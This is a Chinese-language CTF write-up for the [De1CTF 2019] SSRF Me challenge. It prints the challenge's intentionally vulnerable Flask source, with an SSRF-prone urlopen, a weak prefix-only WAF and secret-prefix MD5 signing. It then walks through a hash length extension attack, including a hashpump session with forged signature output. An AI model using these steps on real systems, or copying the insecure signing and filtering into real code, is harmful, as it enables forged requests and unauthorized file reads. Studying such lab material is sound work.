https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me

BUUCTF:[De1CTF 2019]SSRF Me_flask


BUUCTF:[De1CTF 2019]SSRF Me_json_02


源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

三个路由:

  • /geneSign 传递参数param和设置好的action=scan传入getSign生成签名
  • /De1ta 从cookie中获取actionsign,再获取参数param以及ip然后传入Task类中,以json形式返回Task->Exec()
  • / 首页,读取code.txt中的源码返回

接着看,waf()过滤了paramgopherfile关键字

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

secert_key未知,paramaction可控

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

scan方法用的是urllib.urlopen(),这里有两种方法可以读取本地文件

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

Exec()主要是action中如果有readscan关键字及操作,如果action中有scan,利用scan()方法读取内容并放入result.txt,如果有read即读取result.txt

def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

根据hint,确定我们要读取的是flag.txt

BUUCTF:[De1CTF 2019]SSRF Me_json_03


利用scanflag.txt的内容写入到result.txt中,然后read读取result.txt

接下来满足验证签名即可

def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

拼接参数生成签名时paramaction可控,并且action是拼接在最后。这样就可以利用哈希长度扩展攻击,在action后加上read关键字,并且预测出签名。

首先访问下/geneSign路由,传参param=flag.txt,拿到这个签名

hashlib.md5(secert_key + 'flag.txt' + 'scan').hexdigest()

BUUCTF:[De1CTF 2019]SSRF Me_flask_04


接下来利用hashpump来对scan添加,并预测签名

len(secert_key) = 16
16 + len('scan') + len('read') = 24 = Key Length
root@kali /home/mochu7/Desktop % hashpump
Input Signature: e929714dc0b321aadaf831df96d3fa02
Input Data: scan
Input Key Length: 24
Input Data to Add: read
3e8d4e346e5ae50a614adb37915d4d8a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
root@kali /home/mochu7/Desktop %

/De1ta路由传入param,并在cookie设置actionsign即可得到flag

BUUCTF:[De1CTF 2019]SSRF Me_json_05